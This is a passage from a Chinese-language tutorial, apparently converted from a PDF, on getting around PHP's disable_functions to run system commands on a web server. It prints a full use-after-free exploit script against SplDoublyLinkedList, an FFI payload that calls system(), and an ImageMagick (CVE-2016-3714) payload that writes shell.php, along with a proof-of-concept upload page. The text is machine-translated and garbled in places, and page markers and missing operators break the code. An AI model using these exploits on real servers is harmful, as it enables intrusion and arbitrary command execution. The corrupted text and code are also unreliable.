PHP全版本
7.0 - all versions to date
7.1 - all versions to date

7.2 - all versions to date
7.3 - all versions to date
事理
此漏洞利用PHP垃圾网络器存在三年的⼀个bug,通过PHP垃圾网络器堆溢出来绕过disable_functions并实行系统命令Bypass Disable Funtions 13。
利用方法
连续利用Ant搭建环境上传利用脚本访问实行命令可以看到能够利用。
bypass SplDoublyLinkedList UAC利用条件
PHP v7.4.10及其之前版本
PHP v8.0(Alpha)
事理
2020年9月20号有人在bugs.php.net上发布了⼀个新的UAF BUG,报告人已经写出了bypass disabled functions的利用脚本并且私发给了官方,不过官方彷佛还没有修复,缘故原由不明。PHP的SplDoublyLinkedList双向链表库中存在⼀个用后开释漏洞,该漏洞将许可攻击者通过运行PHP代码来转义disable_functions限定函数。在该漏洞的帮助下,远程攻击者将能够实现PHP沙箱逃逸,并实行任意代码。更准确地来说,成功利用该漏洞后,攻击者将能够绕过PHP的某些限定,例如disable_functions和safe_mode等等。
利用方法
<?phperror_reporting(0);$a = str_repeat("T", 120 1024 1024);function i2s(&$a, $p, $i, $x = 8) {for($j = 0;$j < $x;$j++) {$a[$p + $j] = chr($i & 0xff);$i >>= 8;}}function s2i($s) {$result = 0;for ($x = 0;$x < strlen($s);$x++) {$result <<= 8;$result |= ord($s[$x]);}return $result;}function leak(&$a, $address) {Bypass Disable Funtions 18global $s;i2s($a, 0x00, $address - 0x10);return strlen($s -> current());}function getPHPChunk($maps) {$pattern = '/([0-9a-f]+\-[0-9a-f]+) rw\-p 00000000 00:00 0 /';preg_match_all($pattern, $maps, $match);foreach ($match[1] as $value) {list($start, $end) = explode("-", $value);if (($length = s2i(hex2bin($end)) - s2i(hex2bin($start))) >= 0x200000 && $length <= 0x300000) {$address = array(s2i(hex2bin($start)), s2i(hex2bin($end)), $length);echo "[+]PHP Chunk: " . $start . " - " . $end . ", length: 0x" . dechex($length) . "\n";return $address;}}}function bomb1(&$a) {if (leak($a, s2i($_GET["test1"])) === 0x5454545454545454) {return (s2i($_GET["test1"]) & 0x7ffff0000000);}else {die("[!]Where is here");}}function bomb2(&$a) {$start = s2i($_GET["test2"]);return getElement($a, array($start, $start + 0x200000, 0x200000));die("[!]Not Found");}function getElement(&$a, $address) {for ($x = 0;$x < ($address[2] / 0x1000 - 2);$x++) {$addr = 0x108 + $address[0] + 0x1000 $x + 0x1000;for ($y = 0;$y < 5;$y++) {if (leak($a, $addr + $y 0x08) === 0x1234567812345678 && ((leak($a, $addr + $y 0x08 - 0x08) & 0xffffffff) === 0x01)){echo "[+]SplDoublyLinkedList Element: " . dechex($addr + $y 0x08 - 0x18) . "\n";return $addr + $y 0x08 - 0x18;}}}}function getClosureChunk(&$a, $address) {do {$address = leak($a, $address);}while(leak($a, $address) !== 0x00);echo "[+]Closure Chunk: " . dechex($address) . "\n";return $address;}function getSystem(&$a, $address) {$start = $address & 0xffffffffffff0000;$lowestAddr = ($address & 0x0000fffffff00000) - 0x0000000001000000;for($i = 0; $i < 0x1000 0x80; $i++) {$addr = $start - $i 0x20;if ($addr < $lowestAddr) {break;}$nameAddr = leak($a, $addr);if ($nameAddr > $address || $nameAddr < $lowestAddr) {continue;}$name = dechex(leak($a, $nameAddr));$name = str_pad($name, 16, "0", STR_PAD_LEFT);$name = strrev(hex2bin($name));$name = explode("\x00", $name)[0];if($name === "system") {return leak($a, $addr + 0x08);}}}class Trigger {function __destruct() {global $s;unset($s[0]);$a = str_shuffle(str_repeat("T", 0xf));i2s($a, 0x00, 0x1234567812345678);i2s($a, 0x08, 0x04, 7);Bypass Disable Funtions 19$s -> current();$s -> next();if ($s -> current() !== 0x1234567812345678) {die("[!]UAF Failed");}$maps = file_get_contents("/proc/self/maps");if (!$maps) {cantRead($a);}else {canRead($maps, $a);}echo "[+]Done";}}function bypass($elementAddress, &$a) {global $s;if (!$closureChunkAddress = getClosureChunk($a, $elementAddress)) {die("[!]Get Closure Chunk Address Failed");}$closure_object = leak($a, $closureChunkAddress + 0x18);echo "[+]Closure Object: " . dechex($closure_object) . "\n";$closure_handlers = leak($a, $closure_object + 0x18);echo "[+]Closure Handler: " . dechex($closure_handlers) . "\n";if(!($system_address = getSystem($a, $closure_handlers))) {die("[!]Couldn't determine system address");}echo "[+]Find system's handler: " . dechex($system_address) . "\n";i2s($a, 0x08, 0x506, 7);for ($i = 0;$i < (0x130 / 0x08);$i++) {$data = leak($a, $closure_object + 0x08 $i);i2s($a, 0x00, $closure_object + 0x30);i2s($s -> current(), 0x08 $i + 0x100, $data);}i2s($a, 0x00, $closure_object + 0x30);i2s($s -> current(), 0x20, $system_address);i2s($a, 0x00, $closure_object);i2s($a, 0x08, 0x108, 7);echo "[+]Executing command: \n";($s -> current())("whoami");}function canRead($maps, &$a) {global $s;if (!$chunkAddress = getPHPChunk($maps)) {die("[!]Get PHP Chunk Address Failed");}i2s($a, 0x08, 0x06, 7);if (!$elementAddress = getElement($a, $chunkAddress)) {die("[!]Get SplDoublyLinkedList Element Address Failed");}bypass($elementAddress, $a);}function cantRead(&$a) {global $s;i2s($a, 0x08, 0x06, 7);if (!isset($_GET["test1"]) && !isset($_GET["test2"])) {die("[!]Please try to get address of PHP Chunk");}if (isset($_GET["test1"])) {die(dechex(bomb1($a)));}if (isset($_GET["test2"])) {$elementAddress = bomb2($a);}if (!$elementAddress) {die("[!]Get SplDoublyLinkedList Element Address Failed");}bypass($elementAddress, $a);}$s = new SplDoublyLinkedList();$s -> push(new Trigger());$s -> push("Twings");$s -> push(function($x){});for ($x = 0;$x < 0x100;$x++) {$s -> push(0x1234567812345678);}$s -> rewind();unset($s[0]);
bypass FFI利用条件
inux操作系统 \php>=7.4
开启了FFI扩展且ffi.enable=true
事理
PHP 7.4 的 FFI(Foreign Function Interface,即外部函数接口,许可从用户在PHP代码中去调用C代码。FFI的利用非常大略,只用声明和调用两步就可以。 首先我们利用 FFI::cdef() 函数在PHP中声明⼀个我们要调用的这个C库中的函数以及利用到的数据类型,类似如下:
$ffi = FFI::cdef("int system(char command);"); # 声明C措辞中的system函数。
这将返回⼀个新创建的FFI工具,然后使⽤以下⽅法即可调用这个工具中所声明的函数:
$ffi ->system("ls / > /tmp/res.txt"); # 实行ls /命令并将结果写入/tmp/res.txt。
由于system函数实行命令无回显,以是须要将实行结果写入到tmp等有权限的目录中,末了再利用 echo file_get_contents("/tmp/res.txt"); 查看实行结果即可。
可见,当PHP所有的命令实行函数被禁用后,通过PHP7.4的新特性FFI可以实现用PHP代码调用C代码的办法,先声明C中的命令实行函数或其他能实现我们需求的函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions。
利用方法
利用FFI绕过 disable_func 布局payload:
ant=$ffi = FFI::cdef("int system(const char command);");$ffi->system("whoami> /tmp/res.txt");echo file_get_contents("/tmp/res.txt");
成功实行:
bypass ImageMagick
利用条件
目标主机安装了漏洞版本的imagemagick(<=3.3.0)
安装了php-imagick扩展
编写php通过了new Imagick工具的办法来处理图片等格式文件
php >= 5.4
事理
magemagick是⼀个用于处理图片的程序,它可以读取、转换、写入多种格式的图片。图片切割、颜色更换、各种效果的运用,图片的旋转、组合,文本,直线,多边形,椭圆,曲线,附加到图片伸展旋转。利用ImageMagick绕过disable_functions的方法利用的是ImageMagick的⼀个漏洞(CVE-2016-3714)。漏洞的利用过程非常大略, 只要将精心布局的图片上传至利用漏洞版本的ImageMagick,ImageMagick会自动对其格式进行转换,转换过程中就会实行攻击者插入在图片中的命令。因此很多具有头像上传、图片转换、图片编辑等具备图片上传功能的网站都可能会中招。以是如果在phpinfo中看到有这个ImageMagick,可以考试测验一下。
利用方法
查看phpinfo.php 开启ImageMagick扩展:
push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/1.jpg"|echo \'\' > shell.php")' pop graphic-context
poc.php
<?phpfunction readImageBlob() {$base64 = "iVBORw0KGgoAAAANSUhEUgAAAM0AAADNCAMAAAAsYgRbAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAABJQTFRF3NSmzMewPxIG//ncJEJsldTou1jHgAAAARBJREFUeNrs2EEKgCAQBVDLuv+V20dENbMY831wKz4Y/VHb/5RGQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0PzMWtyaGhoaGhoaGhoaGhoaGhoxtb0QGhoaGhoaGhoaGhoaGhoaMbRLEvv50VTQ9OTQ5OpyZ01GpM2g0bfmDQaL7S+ofFC6xv3ZpxJiywakzbvd9r3RWPS9I2+MWk0+kbf0Hih9Y17U0nTHibrDDQ0NDQ0NDQ0NDQ0NDQ0NTXbRSL/AK72o6GhoaGhoRlL8951vwsNDQ0NDQ1NDc0WyHtDTEhDQ0NDQ0NTS5MdGhoaGhoaGhoaGhoaGhoaGhoaGhoaGposzSHAAErMwwQ2HwRQAAAAAElFTkSuQmCC";if(isset($_POST['img'])){$base64 = $_POST['img'];}$imageBlob = base64_decode($base64);$imagick = new Imagick();$imagick->readImageBlob($imageBlob);header("Content-Type: image/png");echo $imageBlob;}Bypass Disable Funtions 23readImageBlob();?>%
小结
这几种办法在实战中常常用到,当然也能够自己搭建环境复现进行学习,个中不乏一些很奥妙的点,也可以拓宽我们的思维。